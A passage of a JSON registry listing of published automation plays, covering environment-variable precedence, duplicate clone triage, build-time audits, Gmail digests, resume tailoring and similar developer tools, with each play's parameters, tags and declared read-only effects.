sit in runtimes that share no order at all, so each value is shown and the question of a winner is rejected rather than answered. UNDETERMINED: a .env against a real environment variable, where the winner is a property of the LOADER, asserted only when exactly one loader appears in that project's manifests. PATH gets its own treatment: duplicate entries after symlink resolution, entries pointing nowhere, and which copy is dead. Nothing is sourced or executed.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","operations-workflows","environment-variables","precedence-analysis","shell-startup-order","dotenv","direnv","launchd","docker-compose","github-actions","path-duplicates","dead-configuration","effect-read-only","tool-python3","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T00:59:56.442309+00:00","visibility":"public","quality_score":1,"size_bytes":44564,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":5,"names":["verify","analyze","resolve","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to the project tree to scan for .env, .envrc, compose and CI definitions","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"3","description":"How many directory levels below root to search for definition files","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b739b5a0d559720b1b3a60fd56c8e7649dd7c37e525da5e3c10146eab2ed3888","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":2,"fan_out":12,"for_each_steps":2,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/duplicate-clones@0.1.2","reference":"lgoyal6/duplicate-clones@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/duplicate-clones@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/duplicate-clones@0.1.2","name":"duplicate-clones","title":"duplicate-clones","description":"You cloned the same repository three times and every copy has different work in it. Before you delete one, you need the answer to exactly one question: does this copy hold commits that exist in no other copy? This finds every git repository under a root, groups the copies of ONE repository, and computes per-copy UNIQUE COMMITS. The safe-to-delete list is built by ELIMINATION, not by filtering, and that distinction is the whole safety argument: with A=[1,2], B=[1,2], C=[1,3], both A and B have an empty unique set, yet deleting both loses commit 2. Candidates are removed one at a time and only while their commits remain a subset of what still stands. An object present in a sibling is not an object HELD there (it can be reflog-kept, then dropped by the next gc) so every hit is followed by `for-each-ref --contains`, and that class was 1 of the 58 claims on this machine. It prints what is safe to delete and deletes NOTHING: no gc, no prune, no fetch anywhere in it. Needs git, python3, bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-duplicate-clone-triage","tool-git","effect-read-only","duplicate-clone","repository-identity","remote-normalisation","unique-commits","divergent-copies","disk-cost","fork-versus-copy","linked-worktree","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T00:59:52.1687+00:00","visibility":"public","quality_score":1,"size_bytes":33176,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory holding your repositories. A relative path is refused with an actionable message, because a step runs in rote's own workspace rather than your shell directory and would walk the wrong tree and report it clean.","example":"/Users/you/code"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for repositories. 1 finds root itself when root is a repository. The walk never descends into a repository's own working tree, so a nested repo there is never counted as a second clone.","example":"4"},{"name":"top","type":"string","required":false,"default":"12","description":"How many groups to print in full, per section, before the rest become a one-line index. Every group is still analysed, verified and counted.","example":"12"},{"name":"max_repos","type":"string","required":false,"default":"4000","description":"Safety cap on how many repositories one walk will identify. Reaching it is reported as a PARTIAL scan, never as a clean result.","example":"4000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1b878c4fe30f6b5a197df94f35442862d425cc0efab0d3417edb4679d328700b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/build-time-sinks@0.1.2","reference":"lgoyal6/build-time-sinks@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/build-time-sinks@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/build-time-sinks@0.1.2","name":"build-time-sinks","title":"build-time-sinks","description":"Your build takes eleven minutes and nobody can tell you which step owns them. This answers that WITHOUT running the build: it never invokes docker, npm, gradle, maven or cargo, not even with --version, and reads what is already on disk. Two evidence classes, kept apart and never summed. MEASURED is a real clock reading parsed out of a timing artifact already in your tree - a Next.js `.next/trace`, a saved BuildKit or Actions log, a Maven reactor summary, a Gradle profile, a webpack stats.json. STRUCTURAL is a cause with no number attached, like a Dockerfile that invalidates its dependency layer or a CI job with no cache, and it prints as UNQUANTIFIED, because an invented second survives being quoted and cannot be checked. Precision is where the work went. 95 bundled cases run before anything of yours is read and 63 of them are negative, each one a false positive this play produced on a real repository: the `apt-get install` rule alone produced 147 findings before it was gated. Needs python3.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","operations-workflows","job-build-time-audit","tool-static-analysis","effect-read-only","build-time","build-performance","ci-time","docker-layer-cache","dependency-cache","next-build-trace","buildkit-log","gradle-profile","maven-reactor","webpack-stats","turborepo-summary","sourcemaps","matrix-duplication","measured-vs-structural","no-build-run-needed","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T00:59:17.457742+00:00","visibility":"public","quality_score":1,"size_bytes":81415,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the repository whose build should be read. A relative path is refused, because a step here runs with its working directory inside rote's own workspace rather than your shell, and a relative root would report a confident empty result about a repository you never asked about.","example":"/Users/you/your-repo"},{"name":"budget_seconds","type":"string","required":false,"default":"90","description":"Wall-clock budget for the directory walk and for each analysis shard; when it runs out the run is labelled PARTIAL rather than silently short","example":"30"},{"name":"max_depth","type":"string","required":false,"default":"12","description":"How many directory levels below root to walk when looking for build configuration and timing artifacts","example":"6"},{"name":"max_shards","type":"string","required":false,"default":"16","description":"Upper bound on parallel analysis shards; files are packed by total bytes so no one shard inherits a monorepo's tail","example":"4"},{"name":"verify_budget_seconds","type":"string","required":false,"default":"120","description":"Wall-clock budget for the independent verification stage; a check that runs out of time reports UNKNOWN rather than AGREED","example":"60"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d6c4da1c6aa3f689f936873f6c20f9859fa3904f5a47fe5c46ee97fe56785521","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":8,"for_each_steps":1,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sahil/daily-digest@0.3.1","reference":"sahil/daily-digest@0.3.1","uri":"https://play.modiqo.ai/sahil/daily-digest@0.3.1","manifest_uri":"https://play.modiqo.ai/sahil/daily-digest@0.3.1","name":"daily-digest","title":"daily-digest","description":"Play the long game in your engineering career. Build deep, compounding technical mastery through progressive daily briefings that skill you up one step a day.","owner":{"kind":"user","slug":"sahil"},"registry_organization":"sahil","tags":["domain-engineering","education","developer-productivity","system-design","tech-news","email-digest","recurring-digest","effect-read-only"],"primary_domain":"domain-engineering","author":"gjugn","version":"0.3.1","published_at":"2026-09-05T22:56:26.39613+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":15820,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":0,"names":[]},"parameters":[{"name":"topic","type":"string","required":false,"default":"Backend & System Design","description":"Any technical domain or skill to master (e.g. 'Golang Microservices', 'PostgreSQL Internals', 'Kubernetes', 'Distributed Systems')","example":"Golang Microservices"},{"name":"mode","type":"string","required":false,"default":"full","description":"Digest mode (full = learning + news, learn = learning only, news = news only)","values":["full","learn","news"],"example":"full"},{"name":"to","type":"string","required":false,"description":"Recipient email address to send the daily formatted HTML digest to","example":"dev@example.com"},{"name":"day","type":"integer","required":false,"description":"Specific curriculum day to view (1-30) or leave empty to auto-advance"},{"name":"reset","type":"boolean","required":false,"default":"false","description":"Reset progress and generate a fresh 30-day curriculum for the topic"},{"name":"relay","type":"string","required":false,"description":"Custom relay server URL for dispatching formatted digest emails","example":"http://localhost:5173/api/digest/send"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b078acff5ea67b8540a0ea11c374eaa6c56a0867681e45d8f161d2e1040c9c7f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/vinayakvispute/newsletter-digest@0.1.2","reference":"vinayakvispute/newsletter-digest@0.1.2","uri":"https://play.modiqo.ai/vinayakvispute/newsletter-digest@0.1.2","manifest_uri":"https://play.modiqo.ai/vinayakvispute/newsletter-digest@0.1.2","name":"newsletter-digest","title":"newsletter-digest","description":"Which newsletters actually earned your time this week, and which of your subscriptions went quiet? Reads Gmail for a sender list you control and writes one HTML digest ordered by what deserves attention -- READ, SKIM, OFFER or PROMO -- with minutes-that-matter against minutes-if-you-read-everything, plus a silent-subscriptions block judged against each sender's own learned cadence, not a fixed threshold. The entire network surface is gmail.users.messages.list and gmail.users.messages.get; nothing is sent, labelled, archived, trashed or unsubscribed. Not a spend audit -- gmail-subscription-audit reads paid-subscription receipts, this reads the newsletters themselves. Summaries need a reasoning CLI on PATH; with none the digest renders extracted points and says so. Writes only inside this play's own run workspace, and GMAIL_TOKEN is never printed.","owner":{"kind":"user","slug":"vinayakvispute"},"registry_organization":"vinayakvispute","tags":["domain-personal-productivity","job-newsletter-digest","audience-developers","audience-everyone","effect-read-only","tool-gmail","newsletter","digest","email","gmail","reading","summary","daily-brief","no-writes"],"primary_domain":"domain-personal-productivity","author":"Vinayak Vispute","version":"0.1.2","published_at":"2026-09-05T22:35:16.363225+00:00","visibility":"public","quality_score":1,"size_bytes":39678,"license":"MIT","stats":{"downloads":0,"installs":0},"steps":{"count":13,"names":["extract","seed_ids","validate","fetch_ids","seed_meta","seed_plan","summarize","fetch_plan","render_pdf","google_auth","open_report","render_html","fetch_message"]},"parameters":[{"name":"add","type":"string","required":false,"default":"","description":"Comma list of senders to append to the tracked list, then run. The everyday way to start tracking something new; it never drops what is already saved."},{"name":"remove","type":"string","required":false,"default":"","description":"Comma list of senders to drop from the tracked list."},{"name":"senders","type":"string","required":false,"default":"","description":"Comma list that replaces the whole tracked list. Use add= unless you mean to start over."},{"name":"subscriptions","type":"string","required":false,"default":"subscriptions.json","description":"Workspace-relative file the tracked list lives in. Read when no senders= or add= is given, so a plain second run needs no arguments."},{"name":"list_only","type":"string","required":false,"default":"false","description":"Print the tracked list with each sender's learned cadence and last-seen date, then stop without reading any mail."},{"name":"since","type":"string","required":false,"default":"7d","description":"Lookback window in Gmail newer_than syntax. 7d fills a page for most inboxes; 1d suits a heavy inbox and 30d a catch-up run."},{"name":"max_items","type":"string","required":false,"default":"25","description":"Cap on how many messages are fetched, between 1 and 100."},{"name":"writer","type":"string","required":false,"default":"","description":"Name of a reasoning CLI already on PATH (claude, codex, gemini) used to write the short version and the per-issue verdicts. The extracted plain text of each newsletter is passed to it, so whatever that CLI does with its input applies here. Empty means no summarization, nothing leaves this machine, and the digest renders extracted points and says so."},{"name":"pdf","type":"string","required":false,"default":"false","description":"Set to true to also print digest.pdf with headless Chrome. The default never launches a browser."},{"name":"open_report","type":"string","required":false,"default":"true","description":"Open digest.html in your default browser when the run finishes (macOS and Linux)."},{"name":"chrome","type":"string","required":false,"default":"","description":"Path to a Chrome or Chromium binary, used only when pdf=true. Empty means find it automatically."}],"execution":{"adapters":[{"id":"modiqo/gmail","name":"gmail","version":null,"credential_status":"required"},{"id":"gmail","name":"gmail","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1599ccf15e48fa3124c9c14a92ef2b946100fa3b863b79322ac7b2505c24fb68","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":13,"kinds":{"api":4,"shell":8,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":8,"width":2,"fan_out":4,"for_each_steps":3,"complexity":26,"apis":[{"adapter":"gmail","steps":5,"methods":["gmail.users.messages.get","gmail.users.messages.list"],"display_name":"Gmail API","host":"gmail.googleapis.com","kind":"rest","tools":79,"fingerprint":"mcp_2kLwgdDQH7fxkyDYysCHsbCXLooH","source":"modiqo/gmail","version":"0.0.3","protocol":"google_discovery","credentials":["GMAIL_TOKEN"]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":["GMAIL_TOKEN"],"mcp":{"servers":1,"tools":79},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/dhiran4/resume-roast-tailor@0.1.2","reference":"dhiran4/resume-roast-tailor@0.1.2","uri":"https://play.modiqo.ai/dhiran4/resume-roast-tailor@0.1.2","manifest_uri":"https://play.modiqo.ai/dhiran4/resume-roast-tailor@0.1.2","name":"resume-roast-tailor","title":"resume-roast-tailor","description":"Roast a current resume against a job posting, map ATS keywords, and write a job-specific rewrite pack. Caller supplies a resume file or pasted resume text plus a job URL or pasted job text. Automated output is a roast, keyword map, local ATS estimate, rewrite plan, and cover-letter brief. An AI agent then writes the tailored resume and cover letter from those files without inventing facts. Python 3 only. No API keys.","owner":{"kind":"user","slug":"dhiran4"},"registry_organization":"dhiran4","tags":["resume","ats","cover-letter","job-search","career","python","typescript"],"primary_domain":"domain-uncategorized","author":"dhiran4","version":"0.1.2","published_at":"2026-09-05T22:25:31.08902+00:00","visibility":"public","quality_score":1,"size_bytes":15382,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["build_pack","ingest_job","ingest_resume"]},"parameters":[{"name":"job_url","type":"string","required":false,"default":"","description":"Public job posting URL. Required unless job_text is provided."},{"name":"job_text","type":"string","required":false,"default":"","description":"Pasted job description. Used when there is no URL, or as fallback if the URL fetch fails."},{"name":"resume_path","type":"string","required":false,"default":"","description":"Path to the current resume (.txt, .md, .html, or .docx). Required unless resume_text is provided."},{"name":"resume_text","type":"string","required":false,"default":"","description":"Pasted resume text when no file path is available."},{"name":"output_dir","type":"string","required":false,"default":"resume-pack","description":"Workspace-relative directory for the application pack."},{"name":"ats_target","type":"string","required":false,"default":"90","description":"Target local ATS estimate. Do not chase it with invented claims."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:cba5d0c9fedf07642f164eb85fe434a4e0f78c95b361617c5ca371271c992585","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dhiran4/credit-card-statement-overspend@0.1.0","reference":"dhiran4/credit-card-statement-overspend@0.1.0","uri":"https://play.modiqo.ai/dhiran4/credit-card-statement-overspend@0.1.0","manifest_uri":"https://play.modiqo.ai/dhiran4/credit-card-statement-overspend@0.1.0","name":"credit-card-statement-overspend","title":"credit-card-statement-overspend","description":"Scan a bounded Gmail window for credit-card statement emails, extract merchant lines when present, and flag categories or merchants that take too much of the statement spend. Default lookback is 45 days. Never invents amounts.","owner":{"kind":"user","slug":"dhiran4"},"registry_organization":"dhiran4","tags":["typescript","gmail","finance","credit-card","statements"],"primary_domain":"domain-uncategorized","author":"dhiran4","version":"0.1.0","published_at":"2026-09-05T22:24:19.343984+00:00","visibility":"public","quality_score":1,"size_bytes":7142,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["details","messages","google_auth","validate_inputs"]},"parameters":[{"name":"lookback_days","type":"integer","required":false,"default":45,"description":"Lookback window in days (1-90). Default 45 to catch a monthly statement cycle."},{"name":"max_results","type":"integer","required":false,"default":50,"description":"Maximum Gmail messages to retrieve (1-100)."},{"name":"warn_share_pct","type":"integer","required":false,"default":30,"description":"Flag a category when it is this percent or more of extracted statement spend (1-100)."},{"name":"merchant_warn_pct","type":"integer","required":false,"default":20,"description":"Flag a merchant when it is this percent or more of extracted statement spend (1-100)."}],"execution":{"adapters":[{"id":"modiqo/gmail","name":"gmail","version":null,"credential_status":"required"},{"id":"gmail","name":"gmail","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7cae9067208eba9daa23b53d9dc83625e1800b0c00a6c07693bd65208ff33513","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":2,"shell":1,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":3,"width":2,"fan_out":4,"for_each_steps":1,"complexity":8,"apis":[{"adapter":"gmail","steps":3,"methods":["gmail.users.messages.get","gmail.users.messages.list"],"display_name":"Gmail API","host":"gmail.googleapis.com","kind":"rest","tools":79,"fingerprint":"mcp_2kLwgdDQH7fxkyDYysCHsbCXLooH","source":"modiqo/gmail","version":"0.0.3","protocol":"google_discovery","credentials":["GMAIL_TOKEN"]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":["GMAIL_TOKEN"],"mcp":{"servers":1,"tools":79},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/dhiran4/inbox-purchase-categorizer@0.1.1","reference":"dhiran4/inbox-purchase-categorizer@0.1.1","uri":"https://play.modiqo.ai/dhiran4/inbox-purchase-categorizer@0.1.1","manifest_uri":"https://play.modiqo.ai/dhiran4/inbox-purchase-categorizer@0.1.1","name":"inbox-purchase-categorizer","title":"inbox-purchase-categorizer","description":"Scan a bounded Gmail window for purchase, receipt, and order emails, then categorize extracted spend into commute, food, groceries, subscriptions, utilities, rtc, and other. Default lookback is 30 days. Never invents amounts.","owner":{"kind":"user","slug":"dhiran4"},"registry_organization":"dhiran4","tags":["typescript","gmail","finance","receipts","spending"],"primary_domain":"domain-uncategorized","author":"dhiran4","version":"0.1.1","published_at":"2026-09-05T22:23:46.185445+00:00","visibility":"public","quality_score":1,"size_bytes":7368,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["details","messages","google_auth","validate_inputs"]},"parameters":[{"name":"lookback_days","type":"integer","required":false,"default":30,"description":"Lookback window in days (1-90). Default 30."},{"name":"max_results","type":"integer","required":false,"default":100,"description":"Maximum Gmail messages to retrieve (1-100)."}],"execution":{"adapters":[{"id":"modiqo/gmail","name":"gmail","version":null,"credential_status":"required"},{"id":"gmail","name":"gmail","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1ef651891a79306b911e3270aab4d39533eec1c7ac64c48a244322e8aa6c3943","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":2,"shell":1,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":3,"width":2,"fan_out":8,"for_each_steps":1,"complexity":8,"apis":[{"adapter":"gmail","steps":3,"methods":["gmail.users.messages.get","gmail.users.messages.list"],"display_name":"Gmail API","host":"gmail.googleapis.com","kind":"rest","tools":79,"fingerprint":"mcp_2kLwgdDQH7fxkyDYysCHsbCXLooH","source":"modiqo/gmail","version":"0.0.3","protocol":"google_discovery","credentials":["GMAIL_TOKEN"]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":["GMAIL_TOKEN"],"mcp":{"servers":1,"tools":79},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/prerana-plays/pr-describer@0.0.2","reference":"prerana-plays/pr-describer@0.0.2","uri":"https://play.modiqo.ai/prerana-plays/pr-describer@0.0.2","manifest_uri":"https://play.modiqo.ai/prerana-plays/pr-describer@0.0.2","name":"pr-describer","title":"pr-describer","description":"Analyzes a git repo's current changes (or a commit range) and returns structured facts for generating a Conventional-Commit message and PR description: changed files with line counts, inferred commit type/scope, branch/ticket, heuristic breaking-change detection, and a review-these-files-first ranking. Deterministic and zero-auth (git + python3 only, no API keys). This play does not call an LLM: the caller (an AI agent) is expected to read this play's structured `result` and synthesize the final commit title, bullets, and (in pr mode) testing checklist from it, never inventing facts the result marks as unknown/absent.","owner":{"kind":"org","slug":"prerana-plays"},"registry_organization":"prerana-plays","tags":["typescript","git","commit-message","pull-request","conventional-commits"],"primary_domain":"domain-uncategorized","author":"prerana","version":"0.0.2","published_at":"2026-09-05T20:58:44.623119+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":7019,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":1,"names":["analyze"]},"parameters":[{"name":"repo_path","type":"string","required":true,"description":"Absolute path to the git repository to analyze"},{"name":"range","type":"string","required":false,"default":"","description":"Optional commit range (e.g. main..HEAD) for PR-style review. Empty means: current unstaged + staged working-tree changes."},{"name":"mode","type":"string","required":false,"default":"commit","description":"'commit' for a single commit message, or 'pr' to also request a testing checklist and review-first list in the synthesis step"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d39fcdf07f3253edc0e339802c7b585b1d78064e1aa83a3bb156c7f7408ae1d7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/hafsa/data-quality-report@0.0.1","reference":"hafsa/data-quality-report@0.0.1","uri":"https://play.modiqo.ai/hafsa/data-quality-report@0.0.1","manifest_uri":"https://play.modiqo.ai/hafsa/data-quality-report@0.0.1","name":"data-quality-report","title":"data-quality-report","description":"Deterministic Data Quality Report for any CSV/Excel dataset: missing values (isnull), duplicate rows (duplicated), type issues, empty columns, describe() statistics, and IQR/z-score outliers, written as a Markdown file.","owner":{"kind":"user","slug":"hafsa"},"registry_organization":"hafsa","tags":["data-quality","pandas","csv","excel","missing","duplicates","outliers","statistics","mean","median","min","max","std","iqr","zscore","deterministic","report"],"primary_domain":"domain-uncategorized","author":"Hafsaarain956","version":"0.0.1","published_at":"2026-09-05T19:46:37.725363+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7208,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":1,"names":["generate_report"]},"parameters":[{"name":"dataset_path","type":"string","required":true,"description":"Path to the input dataset (.csv, .xlsx, or .xls)"},{"name":"report_path","type":"string","required":true,"description":"Path where the Markdown Data Quality Report is written"},{"name":"outlier_method","type":"string","required":false,"default":"iqr","description":"Outlier detection method: iqr (Q1-1.5*IQR, Q3+1.5*IQR) or zscore (|z|>threshold)"},{"name":"zscore_threshold","type":"string","required":false,"default":"3.0","description":"Absolute z-score threshold used when outlier_method is zscore"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2b489a2f5952108341fbd19a009a3596838173771f810c2bbf11517c5313094e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"uv","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/vinayakvispute/portfolio-shot@0.1.1","reference":"vinayakvispute/portfolio-shot@0.1.1","uri":"https://play.modiqo.ai/vinayakvispute/portfolio-shot@0.1.1","manifest_uri":"https://play.modiqo.ai/vinayakvispute/portfolio-shot@0.1.1","name":"portfolio-shot","title":"portfolio-shot","description":"Turns a URL into post-ready PNGs of the site inside a drawn laptop and phone frame, sized for Dribbble, LinkedIn, an og:image and a square post, plus a contact sheet that opens in your browser. Loads only the URL you give it, in a headless Chrome started with a fresh throwaway profile that is deleted when the run ends -- it never touches your own Chrome profile, cookies or logins, never signs in, and only navigates and screenshots. Reads no credentials, tokens or config files. Writes only inside this play's own rote run workspace, whose full paths it prints, and never into the directory you run it from. Frames are drawn shapes, not vendor artwork, and the capture is the visible viewport, not a full-page stitch.","owner":{"kind":"user","slug":"vinayakvispute"},"registry_organization":"vinayakvispute","tags":["domain-web-operations","job-screenshot-capture","audience-developers","audience-founders","effect-read-only","tool-browser","screenshot","mockup","device-frame","portfolio","og-image","launch","design","headless-chrome","read-only","no-credentials"],"primary_domain":"domain-web-operations","author":"Vinayak Vispute","version":"0.1.1","published_at":"2026-09-05T19:23:02.097979+00:00","visibility":"public","quality_score":1,"size_bytes":21263,"license":"MIT","stats":{"downloads":0,"installs":0},"steps":{"count":5,"names":["sheet","compose","validate","capture_phone","capture_laptop"]},"parameters":[{"name":"url","type":"string","required":true,"description":"Page to capture, scheme included, e.g. https://runagents.co."},{"name":"presets","type":"string","required":false,"default":"dribbble,linkedin,og,square","description":"Comma list of output sizes: dribbble 1600x1200, linkedin 1200x627, og 1200x630 (laptop only), square 1080x1080."},{"name":"device","type":"string","required":false,"default":"both","description":"both, laptop, or phone. The og preset is always laptop only."},{"name":"bg","type":"string","required":false,"default":"dusk","description":"Background gradient: dusk, mint, sand, mono, or a hex like #0f172a."},{"name":"scroll","type":"string","required":false,"default":"0","description":"Pixel offset applied before the phone capture; the hero is usually at 0."},{"name":"dark","type":"string","required":false,"default":"false","description":"Capture the page with prefers-color-scheme dark."},{"name":"chrome","type":"string","required":false,"default":"","description":"Path to a Chrome/Chromium binary, for when auto-detection cannot find one."},{"name":"open_sheet","type":"string","required":false,"default":"true","description":"Open the contact sheet in your default browser when the run 